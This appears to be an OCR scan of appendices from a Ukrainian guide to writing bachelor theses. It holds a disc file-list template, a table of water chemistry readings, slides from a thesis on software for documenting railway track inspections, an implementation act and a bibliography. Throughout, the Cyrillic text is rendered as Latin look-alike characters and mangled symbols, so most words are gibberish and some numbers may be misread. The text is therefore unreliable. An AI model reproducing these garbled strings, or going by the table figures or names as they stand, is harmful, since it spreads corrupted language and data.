PeneH3eHT TUNJIOMHOTO POEKTY
3aB. ka¢. BIT, npogecop, A.1.H. B.1. KopHienko
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JIOJIATOK P
MPUKJIAJL O®OPMJIEHHS MEPEJIKY ®ANIIB HA JTUCKY

NEPEJIIK JJOKYMEHTIB HA OITUYHOMY HOCII

Im’s aitna \ Omnuc

[TosicHIOBaIbHI TOKYMEHTH

Juruiom_Kosanenko.doc [TosicHioBanbHA 3amMcka 10 JUIIOMHOTO
npoekty. Jlokyment Word.

Juruiom_Koanenko.pdf [TosicHioBanbHAa  3amMcka 10 JUIIOMHOTO
npoekty B popmari PDF

IIporpama

Program.rar ApxiB.  MicTuTh  KOAM ~ TOpoOrpamMu 1
OTKOMITIJILOBAHY MPOTpamy

IIpe3enraris

[Ipesenranis Kosanenko.ppt ‘ [Ipe3eHTaliist TUIMIIOMHOTO MPOEKTY
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JOJATOK C

HPUKJIIAL OPOPMJUIEHHSA TABJIMIII 3 TPOJOBXEHHAM

Taomur 2.2

Jani ximivHOro anaJizy npo6 soau 3i ceepaiiopunu Ne 307 (OI'3K)

HAa BMICT XiMiYHMX Pe4OBUH

PedoBuna
JlaTta
1 2 3 4 3) 6 7

12.06.1993| 5756 2436 1376 504 353 850 96
23.09.1994| 6312 2444 1584 55 337 958 78
17.03.1995| 6204 2393 1583 572 341 891 54
20.09.1996| 5778 2176 1594 533 346 849 104
05.12.1997| 5542 2193 1528 506 282 946 49
27.03.1998| 5400 1911 1532 521 280 790 24
20.06.1999| 5501 2022 1638 522 278 919 37
20.09.2000| 6602 2072 2182 88 145 2004 80
27.12.2001| 5710 2067 1740 511 259 1057 40
01.03.2002| 5735 2148 1682 201 474 2102 37
18.05.2003| 6051 2374 1692 545 301 1051 30
12.09.2004| 5618 1994 1712 497 306 931 43
20.11.2005| 5431 2406 1306 470 360 800 54
23.03.2006| 5706 2447 - 510 260 1081 -
25.05.2007| 1680 896 225 133 141 178 225
[TpumiTku:

1. BawmicT CyXOro 3ajJuuikKy.

2. Bwict cynedar-ioHis.

3. BBMIcCT XJIOp-iOHIB.

4. BwmicT 10HIB KaJIBLIIO.

5. BMicT i0HIB MarHito

6. BicT ioHiB HaTpirO.

7. BwicT rizpokapOboHaTHUX 10HIB.
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3akiny. Ta0i. 2.2

Pedosuna
Jata
1 2 3 4 5 6 7

20.11.2008| 1515 495 488 90 128 145 488
23.06.2009| 960 453 198 40 128 76 198
23.09.2010| 1102 615 150 52 124 103 150
23.03.2011| 2644 1411 92 90 192 591 92
15.06.2012| 2070 1254 122 106 192 206 122
19.11.2013| 3025 1918 106 145 240 373 34
14.04.2014| 3495 2158 213 170 280 461 37
18.07.2015| 978 285 170 - - - -
18.09.2016| 940 538 104 60 93 92 44
24.10.2017| 1256 504 185 - - - -
TpumMiTK:

8. BBMICT cyx0ro 3ajJHIIKY.

9. Bwict cynbdar-ioHis.

10. Bmict xJ10p-i0HiB.

11. BMmicT 10HIB KaJIbLO.

12. BMmicT 10HIB MarHito

13. BicT i0HIB HaTpiro.

14. Bwmict rizpokapOOHAaTHUX 10HIB.
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JTOJATOK T
MPUKJIAJL O®OPMJIEHHS MTPE3EHTALIIT

MIHICTEPCTRO OCBITIH 1 HAVKH YKPaiHIT
HarrioHa TpHITT TEXHIMHINT YHIBSPCUTET
* JIHIpOoBCHKA IO MTEXHIKA”

JUTTUIOMHUU [TPOEKT

Oakamaepa
HANPsM i roToBKH 122 «KoMIT'i0Te pHI HAyKID»
Ha TeMy

PO3POBKA IHOOPMALIIMHOI CUCTEMH
EJJEKTPOHHOI'O JOKYMEHTYBAHHS OBJIIKY
TEXHIYHOI'O CTAHY OB’€KTIB 3AJII3HUIIL

Bukonama: cT. rp. KHiT-14 ITeTtpoa M.O.

KepiBHHK MpoekTy: 11, K.T.H. Koporenko /I.M.

Anamiz npeameTHoi o0macTi

3ami3HAYHA KOTid - 1€ KOMILTCRC lH.:IxEHCpHIIX CIIOPVI l'IpII_%HEFIEHIIII
A4 TIPOIIVCKY 110 HEOMY I01371B 3 BCTAHOBISHOK IBHAKICTIO.

3ami3HHYHHI IITAX (IJ\ HhHlOH\ € HpII pliH]IX [IOIOTHHX YMOBAaX,
CHpIIH\IﬂI-O‘IH BC'IIII\] HaBaHTaRCHHA BIT HDIBIIB 1o HpDXD,IHTB lel OBEOMY
BCl €IEMEHTH 3ali3HHYHOI Komii 3a \IlHH]CTI-D CTIHKICTIO 1 TEXHIUYHHM
CTAHOM MAKTE 33663HC‘I‘ BaTH O0¢3NCUHHil 1 IUTABHHI PYX HaCﬁ&xIIpCBI\IIX Ta
BAHTAKHHUX MOI3TIB 31 MBHIKOCTAMI., ECTAHOBICHHMI Ha JaHif JIIAHII.

Bix CTaHy KOTIl 3a71ekaTh 663H6p6pBH1CTB 1 0e3leKa PVXY HDBIIB d
TAKOXK C@CRTIIBHICTB BHKOPHCTAHHA TCXHIUHHX 3aco0iB 3aTI3HUIIE.

AHami3 HeOe3leK J03B0II€ BU3HAUHTH AREPETIA HeOe3lIek., NOTEHIIIHHI
ﬂBﬂpll HDCTI:[DBHDCTI PO3SEHIKY HDI]II BCIHYHHY PH3HKY., BCIHYHHY
HﬂCTl,IhlB IIIAXH 3a001TaHHA ﬂBﬂp]H Ta IOM'IKIIEHHA HACTIIKIB.

Mera podorm - po3po0Ka IPOIPaMH JOKYMEHIYBAHHA OB
JUCTAHLIl Komii, fKa peaTizoByBaTHMe (QVHKIII BeICHHA IAHHX II0
HECIIPABHOCTAM OO'€KTIB 3aTi3HHII, 3 MOKIHBICTIO iX KOPHIYBaHHA,
107ABAHHA 1 BHIATEHHA, 4 TAKOA OMODMIEHHA KiHIEBOTO 3BITY il 3
YCYHEHHA HeCIIPABHOCTEH.
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IIocTaHOBKA 3aBIAHHA

OcHoBHI 3a1a4i:

" [IPHCKOPEHHS Yacy oopMIeHHA 3BITY IIPO [IPOBEISHUI TeXHIUHHIT 01711
00 €KTIB 3aTI3HHALL;

" 3HHKEHHS PH3HKIB BTPATH a0 TICYBAHHA JOKYMEHTIB;

" 30UIbIIeHHS €(DEKTHBHOCTI BeJIeHHS OOIIKY HECIIPABHOCTEIT;

" [IPHCKOPEHH: Yacy GopMyBaHHA 3BITY PO HEOOX1THHIT PEMOHT.

MeTtonu pimenHA:

" BBEJCHHA HOBOI 1IH(OpMAaii;

" peJaryBaHHA ICHYKOUOI iHpOpMALi;

* OTpHMaHHA IH(OpPMALli IPO IHCTAHLIT KOMII;
" [OIIYK iH(QOpMALii;

" BHJAJIECHHS HEMOTPIOHHX 3aIHCIB;

" YTOYHEHH: CIIHCKY 00 €KTIB;

" CKTaJaHHA 3araJsHOTO aKTy:

" SKCIIOPT aKTy B JOKyMeHT Word.

3aco0u po3podKH:

MOBA IIporpamMyBaHHg C++;

" CKBIMvVSOL:
" MOBa 3anHTiB SQL:

Texniuni 3acodu:

poLecop K1acy Pentium:

He MeHIIe 1 GB onepaTHBHOI [TaM ATI;

45 MO BUTEHOTO MICLA Ha JKOPCTKOMY JTHCKOBI;
MAHIITYIATOP ~“MHIIA

OC pomuan Windows (XP, Vista, 7.8).
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CxeMa opra"izamiiiHoOl CTPYKTYPH IHCTAaHIIT KOJIIT

Jucranmus masxy

| I
[ l l l l

bymisensumi Mexaniuni Mocroswmii Lex Komiina
1ex MaicTepHi ex aedexrockoni KOJOHA
I Jinaukm |
: avs :
Oxon0TKH OkonoTkn
| | | |
| 2 3 ses 13 14 15
Pobitiuku BLAUTLICHHS

OOOOOOOOO - OOPDO®OEO®E

O0'€eKTH T0KYMEHTYBAHHHA

IIITAXH 1 CTPLIIOUHI
epeBoaIu

JCMIAHE ITOTOTHO

CIIOPYIH Ta KOI1iHI

.. eHKH
IIPHCTPOT p
CKPILICHHA MeTaJIeBl YaCTHHH
CTPITOUHHX NIEPEROIIB

57




CxeMa podOTH CHCTEMH

1

Ilouaror IMixdip aifi mo wowxwHii
J, HECHP?BHGCTi
Benenns JoBinHHKA AHCTAHIGT El
RoJIil Bei

l HECTIPABHOC
Ti?

Benenna goeinHHKA 00°eRTIB
OLISATY

l

-
Bexenns joeinHHKA edereHTIB Bubip aiii 3 sanpononoBasoro

3 IPH3HAKAMH HecHpaBHOCTel CHHCKRY

1 l

IlinTpuMKa ck1aJaHHA ARTIB

Beaenna goeigHHRA Jii mo

YCYHeHHI0 HeclpaBHoOCTedl OLIAay
B 1 TV i
BeleHHT TJaHHX 0 aAKTY P —
orIAayY

-
[

CxeMa 043 JaHHX

T Cxomaa aarinex
V Coa
Nazvan
NaselPunkt
DispetcherPutevol
Kontroter
Mesto
W e ar Okolotok
| ¥ Cod Otdelenie
KodDistPuti
DataOsmotra J
KodObjecta = tra 1,
¢ Cod
Nazvanie
CodDobject
| bject V Coa
! v Coa KodDOsmotra
Nazvan KodDoR
CheckNeispr

vV Coa
Nazvanie
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Oraa inTepdesicy nporpaMu
T'os10BHA dopMa mporpaMu

e
. Oy Y ofARAIE i cravy of'ekmie yasme — @
|| Ductamwgn konil | O6'exrii Detani | Qi |m1mm|ﬁmurm|%mmm|

scnaTeep Komil KoHTpanap

Iax HA - KyueswoBC. =

AxTHOIAdiB JHCcTAHOIT] KOTiT

Oucranus onii| Og'extailerani |Oi | laewmwgiatop axta | At ornaay | Poto HeenpasHocTen |
OuctaHuin kon 14-47
Butip of'exTa Hoewnd of'ext

CNOPYOM T8 NEPEIZOoM -

Detan of'exTa IIMJII L Dertani HoBory of'exkTa ‘”" kL)

Hazea petani
3 M

FUIATI SOBHIWH

Iama.qm-i

HARBHICTE | CAPABHICTS CHTHANIB

CNPAEHICTE MATEME 00 NEpeiZay
MPAEMALHICTS WA SAYHIE
Iu'pnsuicmau‘mmmaonamnpnclpoiﬂa
CTNPABHICTh WIAXOBWME ZHAKIE

4 = L3

[Bmml [M‘m] eru][ﬂmarn]

10
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@opma 3aOBHeHHA 00’ €KTIB OII1A1iB

Moxnuei BapiaHTu QiR

| Hazea 2

i3aninnru ‘
| BcTanosuTk Gont I
| O6TONMTH ‘

'I_'Iopesapum wasnoH

MNepesipuTy piseHs

Biaperymosatu 3830p

| 3axpinuTyn

|Bunpasuty

‘Donatu

Mposectn

| BeraHosuth

i~

n

<

3anoBHeHHSH JOBiIHHKA JiH M0 YCYHeHHIO Ta MoNepeT:KeHHI0 HecHpaBHOCTed

e [E=YIor=>x)

n
4 ) 4

_ MARTANSRI YUACTUHKX CTNINOYHWX NANERONIA
< | [

|| Bucranui konii | O6'exrvi Aetani | Qi | lnenTugixatop axa || Akt ornnay | Poto HecnpasrocTen| _l
Mowyx no narti
01042014 1 wiona 2014r. @~ |
Koa ancranui konii Hazsa ancraHwi Ko HaceneHun nyHkr
3 v 14-47 - Bepxiscek v |
LDucneTuep konii KoHtponep DNara ornany
Inok HA. - Kyuerko B.C. - 01.04.201
06'exT
| Hesea =
» |
| =4
| 3eMAAHE NONOTHO F
|cropyaw T8 nepeisamn -
| penxu
cKpinneHa

[anum][ Lonatv ]
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ExcnopT arTy oriaay B JokyMeHT Word

13

ErxosoMika

= TDVIMICTKICTE po3polku qaHol iHbOpMAaiHHOL CHCTEMH
cKazamae 335.8 Jr00.-TOT.

= BHTPAaTH Ha Po3pobky dopieHioe 24205 rpH.;

= mepion po3podkH 1,9 aic.

14
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15

BHCHOBKH

B mumioMHOMY pOEKT1 BHKOHAHI HACTYIIHI OCHOBHI 3aJa4i:

»
»

»

»

»
»
»
»
»
»
»
»

aHaJ13 HOPMATHBHOI 0a3H JOKYMEHTYBAHHA OIVIAIIB JHCTAHIIT KOTii;

aHaJsl13 MiIXOI1B JO BHARICHHA HEOS3MEK 1 PH3HKIB B TEXHIUHHX
CHCTEMAX:

BH3HAUCHHS BUMOT JI0 IPOLECY TOKYMEHTYBAHHS OT/IAIB THCTAHIIIT
KO.1ii Ha 3a7113HHYHOMY TPaHCIIOPTI;

BH3HAYEHHS BUMOT /10 BHSBISHHA NPUUHH HECIIpaBHOCTEH y mpoIieci
TOKYMEHTYBAHHS:

CTPYKTYpPH3allid 00'€KT1B JOKYMEHTYBAHHA B IIPOrPaMi:
CTPYKTYpH3allid BUX1THUX JaHHUX 1714 JOKYMEHTYBaHHA:
OPOESKTYBAHHS 0a3H JaHUX 1Sl TPOTPAMH;

po3po0Ka JiarpaMH BHKOPHCTaHHSA IPOTPaMH;

po3po0Ka aITopHTMY (PYHKIIIOHYBAaHHS IPOTPaMH;

OOIPYHTYBaHHA BHOOPY MOBH IIpOrpaMyBaHHA:

peatizamia IporpaMu;

aHai3 JOCIIIHOI eKCILTyaTalii 1 MOKTHBHX J0JaTKIB.
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JIOJIATOK ¥V
MPUKJIAJL AKTY BIPOBATKEHHS

3ATBEPI)KVYIO
Havanpnaux HIT 1 T3
I BAT “Ykprenexkom”

Kosaneuko O.A.
« ” 2018p.
AKT

BIIPOBA/I’KEHHS B JOCJIITHO-TIPOMHCJIOBY €KCILIYyaTAlil0 MPOrPAMHOI MiICHCTEMH
“O0podka JaHMX NMPO IJIATEXKi, [0 HAXXOAATH (IepepaxoBYHOTHCH)
Ha npuOyTkoBuii paxyHok I/l BAT “Ykprenekom”

Mu, K1 miANUCATUCS HUXKYE, YWICHU KOMICIT Y CKIIaIi:

Hauanbnuk cextopa LIT 1 T3 I'y6ap C.I.
[IpoBigHMil 1HXXEHEDP 3B’ SI3KY Yacuuk T.I'.
[TpoBinuuii ekonomict LIAT 1 T3 Tomua JI.B.
[HKeHep-cTaxep CwmipHoBa A.M.

Cxianu et akt npo te, mo y Oepesni 2018 p. imxkenep-craxep CmipHOBa
A.M. BmpoBaguia mporpamHy mijgcucreMy “O0poOka maHuX Mpo IUIATEXi, IO
HAJXOATh (TIepepaxoByOThCs) Ha npuOyTKoBuUi paxyHok JJI BAT “Ykprenekom™.

O3HaueHa mMmiJCUCTEMa BXOJWTHh JO KOMIUIEKCY IMporpam iH(QOpMaIiiHOi
cuctemu “O0poOka MaHWX IJIATHUKIB® Ta MpU3HAYEHA JJII aBTOMATH3allli MPoIecy
0o0poOku 1H(opmanii 31 cTpykrypHux nigposzauiis JIJI BAT “Ykprenekom™”, mio
M1JBUILYE MPOAYKTUBHICTh Ta MOJIMUIYE SKICTh POOOTH €KOHOMICTIB.

[Tpotsrom 6epesns 2018 p. miacucrema Oyina BIpoBaJKeHA Ta IPOTECTOBAaHA B
exoHomiyHomy Bigautt L{IT 1 T3, a Takoxx mnpoBeneHe HaBYaHHS KOPUCTYBAdiB,
nepeBipeHa BiJIMOBIIHICTh BUMOT'aM TEXHIYHOTO 3aBJaHHs, OJIepKaHl BUX1JIHI (opMU
3T1AHO TEXHIYHOTO 3aBIaHHA.

PimneHHs1 koMmicii:

1.BBaxxatu mporpamHy miacuctemy “OO0poOka IaHUX TPO TUIATEXKI, IO
HaJXOATh (TepepaxoByOThes) Ha mpuodyTkoBuii paxyHok IJI BAT “Yxkprenexom™
MPUMHATOIO B JOCTIAHO-TIPOMUCIIOBY €KCILTyaTalio.

Hauansuuk cexktopa L{IT 1T3 / T'yb6ap C.I./
[TpoBinHui iHXEHEP 3B’ SI3KY /Yacuuk T.I'. /
[TpoBigamii ekonomict IIUT 1 T3 / Tommya JI.B. /
[mxenep-craxep / CmipuoBa A.M. /
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CIIMCOK BUKOPUCTAHUX JIKEPEJI

1. bronerenb BAK Vkpainu, Ne9-10, 2011. Bumoru p0 odopmieHHs
nycepTalii Ta aBTopedepartis. — 9 c.

2. ICTY T'OCT 7.1:2006 «Cuctema crannapTiB 3 iHpopmaiiii, 010;110TeyHOT Ta
BUJIaBHUUO1 crpaBu. biOmiorpadiunuit 3anuc. biomiorpadiunmii omuc. 3aranbHi
BumMord Ta npasuia ckinaganus (COCT 7.1-2003, IDT)»;

3. MeronnyHi peKOMEHAI1 11010 HAMCaHHs, O()OPMIICHHS Ta MPEICTaBICHHS
YUHIBCHKUX HAaYKOBO-JOCHITHUIBKAX POOIT yuHIB — ujieHIB Manoi akagemii Hayk
VYxpaiau / I'.T". [liBask, JI.M. Koporenko, .M. Yaosuk, €.M. I'omosus — JI.: JIBH3
«HanionanbHuii ripHu4mii yHiBepcuTe™», 2017. — 24 c.

4. MeTonuyHl peKOMEHAAIll1 10 BUKOHAHHS KBall(ikalliHUX poOIT OakaiaBpiB
HanpsaMmiB miarotosku 6.050101 «Komn’rorepHi Hayku» Ta 6.050103 «IIporpamua
imxkeHepis» ramy3i 3HaHb 0501 «JHpopmaTuka Ta oOUYMCTIOBAJIbHA TEXHIKa»/
VYnopsa.: M.O. Anekcees, I'.M. Koporenko, JI.M. Koporenko, O.C. IlleBuosa, — /1.:
HI'Y,2011.— 18 c.

5. OCHOBHI BUMOTU JI0 HaNHUCaHHS HAyKOBO-AOCHIAHHUIIBLKOI podoTn / URL:
http://dvman.dnepredu.com/uploads/editor/4165/ 353853/sitepage_62/files/ vimogi_
do_oformlennya_ndr.docx. nata 3Beprenns: 3.12.2017.

6. [Ipo 3arBepmkenHs Bumor no oopmieHHst auceprarii: 3akoH YKpaiHu 3a
cranoM Ha 12.01.2017 Ne 40 / URL.: http://zakon2.rada.gov.ua/laws/show/z0155-17.
nara 3sepHeHHs: 12.12.2017.

7. CBO HI'Y IM3-14. Oprauxizaiis BuAaHHs 1H(GOPMaLIHHO-METOANUYHOTO
3a0e3neueHHs HaByaybHOro mportiecy / A.®. Koconanos, B.O. Canos, A.K. I'openko,
O.H. Inpuenko, O.H. Hedenona, O.1. lonatko, T.O. ITucemenkona, O.B. XKypyHosa ;
Ha. rips. ya-1. — 1. : HI'Y, 2014. - 50 c.

8. CBO HI'Y HM3 - 05. HopmaTuBHO-MeTOIMYHE 3a0e3MeUeHHS] HaBYAJIbHOTO
nporecy. — YBea. 2005 — 08 — 05. — JI. : HI'Y, 2005. - 139 c.

9.CBO HI'Y IM3-09. Opranizamiss BugaHHs 1HGOPMAIIHHO-METOANYHOTO
3abe3neueHHss  HaByanpHOro  mpouecy  /Po3po6.: B.O. Canos, O.l. Jomatko,
T.O. Iucemenkona — /I.: Hamionansuuii ripanunii yHiBepcuteT. — 2009. — 60 c.

10. CtBopeHHs HaBYAJIBHOI JIITEpATypu IS BUIOI IIKOJM : HaBY. TOCi0. /
B.O. Canos, 10.0. llla6anosa, O.H. Inpuenko ; M-Bo ocBiTy 1 Hayku Ykpainu, Harr.
ripa. yH-T. — J[. : HT'Y, 2014. — 187 ¢. ISBN 966-8271-77-7

11. CknamanHs COMCKY JITEPATYPH B HABYAJIbHUX BUIAHHSX : TIOCIO. JIJIST HAayK.-
nen. npariBaukiB / B.O. Canos, O.H. Hedenosa, O.H. Inpuenko, B.B. I[Tanuenko,
T.O. HenatiBona, B.I'. Pumap ; M-Bo ocBiTu 1 Hayku Ykpainu, Hai. ripa. yu-T. — /1. :
HI'Y, 2013.-39c.
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YnopsaaHuku

Kopotenko Jleonin MuxaitiioBuu
IleBuoBa Onbra CepriiBHa

METOJUYHI PEKOMEHIAIIIl 1O BAKOHAHHS
KBAJII®IKALIAHUX POBIT BAKAJIABPIB
HANpsSMY HiATOTOBKH
6.050101 «Komm’roTepHi HAyKm»

BianoBiganpHuUiA 3a BUITYCK
.M. VY noBuk

[Tinmucano no apyky 11.05.2018 p. ®opmar 30x42/4. Iamip Polspeed.
YMoBH. pyk. apk. 3,1. O61ikoBO-BUIaBH. apkK. 3,1
Tupax 150 mpum. 3am. Ne

ITinroroBJieHo 10 APyKy Ta HAAPYKOBAHO
Y PeAaKuiiiHO-BUIABHUYOMY KOMILJIEKCI
HauioHa/JIbHOT0 TeXHIYHOI0 YHiBEpCHUTETY
«/IHinpoBcbKa MoJIiTEXXiKa»

49027, m. J1ninpo, 27,
npocn. []. fABopuunskoro, 19.



